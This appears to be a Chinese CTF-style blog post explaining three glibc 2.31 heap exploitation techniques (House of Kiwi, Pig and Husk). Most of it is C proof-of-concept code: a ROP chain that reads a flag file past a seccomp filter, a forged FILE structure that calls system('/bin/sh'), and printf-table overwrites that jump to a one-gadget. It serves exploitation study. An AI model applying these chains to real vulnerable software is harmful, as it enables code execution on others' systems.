Niyah

适用于高版本的三大house

libc2.31 版本可用

# 适用于高版本的三大 house

其中 House-of-Kiwi 需要进行两次任意地址申请,实现起来是比较困难的

而 House-of-Pig 和 House-of-Husk 只需要写可控地址就行了,用 Large bin attack 就可以做到,但是 House-of-Husk 需要有 printf 和格式化字符串并且只能执行 gadget

# House-of-Kiwi

poc 参考:House OF Kiwi - by Refrain

// Ubuntu GLIBC 2.31-0ubuntu9.2
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#define pop_rdi_ret libc_base + 0x0000000000026b72
#define pop_rdx_r12 libc_base + 0x000000000011c371
#define pop_rsi_ret libc_base + 0x0000000000027529
#define pop_rax_ret libc_base + 0x000000000004a550
#define syscall_ret libc_base + 0x0000000000066229
#define ret pop_rdi_ret+1 
size_t ROP[0x30];
size_t libc_base;
char FLAG[0x100] = "./flag.txt\x00";
void sandbox()
{
    prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
    struct sock_filter sfi[] ={
        {0x20,0x00,0x00,0x00000004},
        {0x15,0x00,0x05,0xC000003E},
        {0x20,0x00,0x00,0x00000000},
        {0x35,0x00,0x01,0x40000000},
        {0x15,0x00,0x02,0xFFFFFFFF},
        {0x15,0x01,0x00,0x0000003B},
        {0x06,0x00,0x00,0x7FFF0000},
        {0x06,0x00,0x00,0x00000000}
    };
    struct sock_fprog sfp = {8, sfi};
    prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &sfp);
}

void setROP()
{
    uint32_t i = 0;
    ROP[i++] = pop_rax_ret;
    ROP[i++] = 2;
    ROP[i++] = pop_rdi_ret;
    ROP[i++] = (size_t)FLAG;
    ROP[i++] = pop_rsi_ret;
    ROP[i++] = 0;
    ROP[i++] = syscall_ret;
    ROP[i++] = pop_rdi_ret;
    ROP[i++] = 3;
    ROP[i++] = pop_rdx_r12;
    ROP[i++] = 0x100;
    ROP[i++] = 0;
    ROP[i++] = pop_rsi_ret;
    ROP[i++] = (size_t)(FLAG + 0x10);
    ROP[i++] = (size_t)read;
    ROP[i++] = pop_rdi_ret;
    ROP[i++] = 1;
    ROP[i++] = (size_t)write;
}
int main() {
    setvbuf(stdin,0LL,2,0LL);
    setvbuf(stdout,0LL,2,0LL);
    setvbuf(stderr,0LL,2,0LL);
    sandbox();
    libc_base  = ((size_t)setvbuf) - 0x87e60;
    printf("LIBC:\t%#lx\n",libc_base);

    size_t magic_gadget = libc_base + 0x580a0 + 61;
    size_t IO_helper = libc_base + 0x1ec8a0;
    size_t SYNC = libc_base + 0x1ed500; 
    setROP();
    *((size_t*)IO_helper + 0xA0/8) = ROP; //攻击点1
    *((size_t*)IO_helper + 0xA8/8) = ret;
    *((size_t*)SYNC) = magic_gadget; //攻击点2

    size_t *top_size = (size_t*)((char*)malloc(0x10) + 0x18);
    *top_size = (*top_size)&0xFFE; //攻击点3
    
    // getchar();
    malloc(0x1000); // 触发assert
    _exit(-1);
}

# House-of-Pig

poc

// Ubuntu GLIBC 2.31-0ubuntu9.2
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>


#define system libc_base + 0x55410
#define _IO_list_all libc_base + 0x1ec5a0
#define _IO_str_jumps libc_base + 0x1ed560
#define __free_hook libc_base + 0x1eeb28

size_t data[0x30];
size_t fake_io[0x40] = {0};
size_t libc_base;

void setFakeIo()
{
    fake_io[4] = 1;
    fake_io[5] = 0xffffffffffff;
    fake_io[7] = data;
    fake_io[8] = data + 0x18;
    fake_io[27] = _IO_str_jumps ;
}

void setData()
{
    data[0] = 0x0068732f6e69622f;
    data[1] = system;
    data[2] = system;
}

int main() {
    setvbuf(stdin,0LL,2,0LL);
    setvbuf(stdout,0LL,2,0LL);
    setvbuf(stderr,0LL,2,0LL);

    libc_base  = ((size_t)setvbuf) - 0x87e60;

    *((size_t*)(_IO_list_all)) = fake_io; //攻击点1

    setData();
    setFakeIo();
    
    size_t *heap_base = (size_t*)((char*)malloc(0x10) - 0x2a0 + 0x10 );

    *(heap_base + (0x168)/8 ) = __free_hook - 0x10; //攻击点2(tcache管理块)
    *((char *)(heap_base ) + 0x38 + 0x2 )= 1;
    
    exit(0);
}

# House-of-Husk

poc

// Ubuntu GLIBC 2.31-0ubuntu9.2
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define ogg libc_base + 0xe6c7e
#define __printf_arginfo_table libc_base + 0x1f1350
#define __printf_function_table libc_base + 0x1f0ff8

size_t fake_zone[0x100];
size_t libc_base;

int main() {
    setvbuf(stdin,0LL,2,0LL);
    setvbuf(stdout,0LL,2,0LL);
    setvbuf(stderr,0LL,2,0LL);

    libc_base  = ((size_t)setvbuf) - 0x87e60;
    fake_zone[0x73] = ogg; 

    *((size_t*)(__printf_arginfo_table)) = fake_zone; //攻击点1
    *((size_t*)(__printf_function_table)) = 1; //攻击点2

    // getchar();
    printf("%s" , "114514");
}

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。